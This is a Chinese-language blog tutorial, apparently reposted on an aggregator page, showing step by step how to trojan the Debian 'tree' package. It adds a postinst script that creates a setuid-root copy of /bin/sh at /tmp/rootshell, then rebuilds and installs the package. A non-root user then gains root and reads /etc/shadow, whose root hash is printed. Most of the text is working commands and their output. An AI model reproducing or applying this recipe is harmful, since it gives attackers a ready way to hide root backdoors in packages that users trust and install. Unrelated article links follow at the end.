以下介绍怎样制作包括后门的deb安装包。以tree为例进行说明。利用apt-get下载安装包。--download-only表示仅仅下载不做其它处理。

root@deb:~#apt-get download --download-only tree

Get:1Downloading tree 1.6.0-1 [43.3 kB]

Fetched43.3 kB in 2s (21.4 kB/s)

root@deb:~#ls -l

total44

-rw-r--r--1 root root 43314 Feb 4 2012 tree_1.6.0-1_amd64.deb

解压deb安装包,并创建文件夹DEBIAN(大写),在DEBIAN文件夹下创建文件control和postinst。

Control。包括deb包说明信息,比如:包名,版本。平台。作者等。

[EN]:http://www.debian.org/doc/manuals/debian-faq/ch-pkg_basics.en.html

[CN]:http://www.debian.org/doc/manuals/debian-faq/ch-pkg_basics.zh-cn.html

Postinst。完毕Debian包文件解包文件的配置工作。通常,“postinst”脚本等待用户输入,或提醒用户。假设他接受当前默认值。要记得软件包安装完后返回又一次配置。很多“postinst”脚本负责运行有关命令为新安装或升级的软件重新启动服务。

root@deb:~#dpkg -x tree_1.6.0-1_amd64.deb tree_1.6.0-1_amd64

root@deb:~#mkdir ./tree_1.6.0-1_amd64/DEBIAN

root@deb:~#cd ./tree_1.6.0-1_amd64/DEBIAN/

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#touch control postinst

Control内容,可来源于dpkg–info
/path/to/debfile

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#dpkg --info /root/tree_1.6.0-1_amd64.deb

newdebian package, version 2.0.

size43314 bytes: control archive=664 bytes.

393bytes, 12 lines control

433bytes, 7 lines md5sums

Package:tree

Version:1.6.0-1

Architecture:amd64

Maintainer:Florian Ernst <florian@debian.org>

Installed-Size:109

Depends:libc6 (>= 2.3)

Section:utils

Priority:optional

Homepage:http://mama.indstate.edu/users/ice/tree/

Description:displays directory tree, in color

Displaysan indented directory tree, using the same color assignments as

ls,via the LS_COLORS environment variable.

终于control文件内容例如以下:

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#cat control

Package:tree

Version:1.6.0-1

Architecture:amd64

Maintainer:Florian Ernst <florian@debian.org>

Installed-Size:109

Depends:libc6 (>= 2.3)

Section:utils

Priority:optional

Homepage:http://mama.indstate.edu/users/ice/tree/

Description:displays directory tree, in color Displays an indented directorytree, using the same color assignments as ls, via the LS_COLORSenvironment
variable.

终于postinst脚本内容例如以下:

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#cat postinst

#!/bin/bash

sudo cp /bin/sh /tmp/rootshell && sudo chown root:root/tmp/rootshell && sudo chmod 4755 /tmp/rootshell

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#chmod 755 postinst

全部配置文件准备完毕后。使用dpkg-deb打包,成功创建包括后门的安装包tree_1.6.0-1_amd64.deb.

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#ls -l /root/

total4

drwxr-xr-x4 root root 4096 Aug 26 06:17 tree_1.6.0-1_amd64

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#dpkg-deb --build /root/tree_1.6.0-1_amd64/

dpkg-deb:building package `tree' in `/root/tree_1.6.0-1_amd64.deb'.

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#ls -l /root/

total48

drwxr-xr-x4 root root 4096 Aug 26 06:17 tree_1.6.0-1_amd64

-rw-r--r--1 root root 43156 Aug 26 06:28 tree_1.6.0-1_amd64.deb

安装后门deb包,创建/tmp/rootshell文件.

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#ls -l /tmp/

total20

drwx------2 docker docker 4096 Aug 26 05:15 pulse-bmNZfTJ6gWCq

drwx------2 root root 4096 Aug 26 05:14 pulse-PKdhtXMmr18n

drwx------2 Debian-gdm Debian-gdm 4096 Aug 26 05:15 pulse-ZvmMH2Gn4QZR

drwx------2 docker docker 4096 Aug 26 05:15 ssh-qkrUkg0Dfu9v

drwxr-xr-x2 docker docker 4096 Aug 26 05:15 tracker-docker

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#dpkg -i /root/tree_1.6.0-1_amd64.deb

Selectingpreviously unselected package tree.

(Readingdatabase ... 130311 files and directories currently installed.)

Unpackingtree (from /root/tree_1.6.0-1_amd64.deb) ...

Settingup tree (1.6.0-1) ...

Processingtriggers for man-db ...

root@deb:~/tree_1.6.0-1_amd64/DEBIAN#ls -l /tmp/

total128

drwx------2 docker docker 4096 Aug 26 05:15 pulse-bmNZfTJ6gWCq

drwx------2 root root 4096 Aug 26 05:14 pulse-PKdhtXMmr18n

drwx------2 Debian-gdm Debian-gdm 4096 Aug 26 05:15 pulse-ZvmMH2Gn4QZR

-rwsr-xr-x1 root root 106920 Aug 26 06:29 rootshell

drwx------2 docker docker 4096 Aug 26 05:15 ssh-qkrUkg0Dfu9v

drwxr-xr-x2 docker docker 4096 Aug 26 05:15 tracker-docker

执行后门

docker@deb:/root/tree_1.6.0-1_amd64/DEBIAN$/tmp/rootshell

#id

uid=1000(docker)gid=1000(docker) euid=0(root)groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),105(scanner),110(bluetooth),112(netdev),1000(docker)

#head -1 /etc/shadow

root:$6$GiCLTee$AEFGgQdvK2LG3m7gtD6.HG39rIrkhh48P..234Xs3DFuxUJ/B7jfJO5mJryPCRmeW1sGHvgf6GT77ztJ.PHO31:16302:0:99999:7:::

#



參考链接:


http://pastebin.com/m5XULth7#

http://www.offensive-security.com/metasploit-unleashed/Binary_Linux_Trojan

create a backdoor deb package的更多相关文章

  1. AX7: CREATE AN AUTOMATED TEST PACKAGE\MODEL

    AX7: CREATE AN AUTOMATED TEST PACKAGE\MODEL It’s really important for a stable solution the use of a ...

  2. ROS学习手记 - 2.1: Create and Build ROS Package 生成包(Python)

    ROS学习手记 - 2.1: Create and Build ROS Package 生成包(Python) 时隔1年,再回来总结这个问题,因为它是ros+python开发中,太常用的一个操作,需要 ...

  3. Quickstart: Create and publish a package using Visual Studio (.NET Framework, Windows)

    https://docs.microsoft.com/en-us/nuget/quickstart/create-and-publish-a-package-using-visual-studio-n ...

  4. create a nodejs npm package

    1. create a folder named m1 2. run command: npm init, this will create the package.json file 3. crea ...

  5. make deb for debian/ubuntu, package software for debian/ubuntu

    here you may find useful information: =====================X8---------------------------------8X==== ...

  6. deb包的安装及dpkg命令小结

    DPKG commands There are two actions, they are dpkg-query and dpkg-deb. Install a package # sudo dpkg ...

  7. Ubuntu Linux: How Do I install .deb Packages?

    Ubuntu Linux: How Do I install .deb Packages? Ubuntu Linux: How Do I install .deb Packages? by Nix C ...

  8. 【Ubuntu 16】DEB软件包管理

    一.背景介绍 开源软件最早的时候没有软件包和软件包管理器,用户只能下载源码包自行配置 编译 安装. 后来linux各发行版本推出了软件包格式和软件包管理程序 Red Hat.Centos使用RPM格式 ...

  9. ubuntu deb pacakge 开发

    安装构建工具 apt-get install pbuilder 推荐安装 sudo apt-get install build-essential autoconf automake \ autoto ...

随机推荐

  1. 设计模式(一)单例模式:1-饿汉模式(Eager)

    思想: 饿汉模式是最常提及的2种单例模式之一,其核心思想,是类持有一个自身的 instance 属性,并且在申明的同时立即初始化. 同时,类将自身的构造器权限设为 private,防止外部代码创建对象 ...

  2. [luoguP2463] [SDOI2008]Sandy的卡片(后缀数组 + st表)

    传送门 很容易想到,题目中的相同是指差分数组相同. 那么可以把差分数组连起来,中间加上一个没有出现过的且字典序小的数 双指针移动,用st表维护height数组中的最小值. 当然用单调队列应该也可以且更 ...

  3. BeanFactory到WebApplicationContext的结构 以及bean和spring容器的关系

    BeanFactory: Ioc 容器 ApplicationContext: Spring容器 WebApplicationContext需要ServletContext实例,也就是说它必须在拥有W ...

  4. 从实际案例聊聊Java应用的GC优化

    转自美团点评技术博客:https://tech.meituan.com/jvm_optimize.html 当Java程序性能达不到既定目标,且其他优化手段都已经穷尽时,通常需要调整垃圾回收器来进一步 ...

  5. bzoj 1038 瞭望塔 半平面交+分段函数

    题目大意 给你一座山,山的形状在二维平面上为折线 给出\((x_1,y_1),(x_2,y_2)...(x_n,y_n)\)表示山的边界点或转折点 现在要在\([x_1,x_n]\)(闭区间)中选择一 ...

  6. APUE 学习笔记(十一) 网络IPC:套接字

    1. 网络IPC 套接字接口既可以用于计算机之间进程通信,也可以用于计算机内部进程通信   套接字描述符在Unix系统中是用文件描述符实现的   /* 创建一个套接字 */ #include < ...

  7. FZOJ 2102 Solve equation

                                                                                                        ...

  8. javascript 函数重载另一种实现办法

    最近在读javascript忍者 感受下jquery作者 john Resig对于js的独到见解. 先上代码: function addMethod(object,name,fn){ var old ...

  9. llinux 定时器 转载自 http://blog.chinaunix.net/uid-11848011-id-96374.html

    这篇文章主要记录我在试图解决如何尽可能精确地在某个特定的时间间隔执行某项具体任务时的思路历程,并在后期对相关的API进行的归纳和总结,以备参考. 问题引出 很多时候,我们会有类似“每隔多长时间执行某项 ...

  10. [virtualbox] virtualbox 安裝 ubuntu,但 virtualbox 卻無法執行 ubuntu 的快速鍵,解法方式

    solution open virtualbox -> file -> preference -> input -> below picture 按下快速鍵,即發生作用. 原先 ...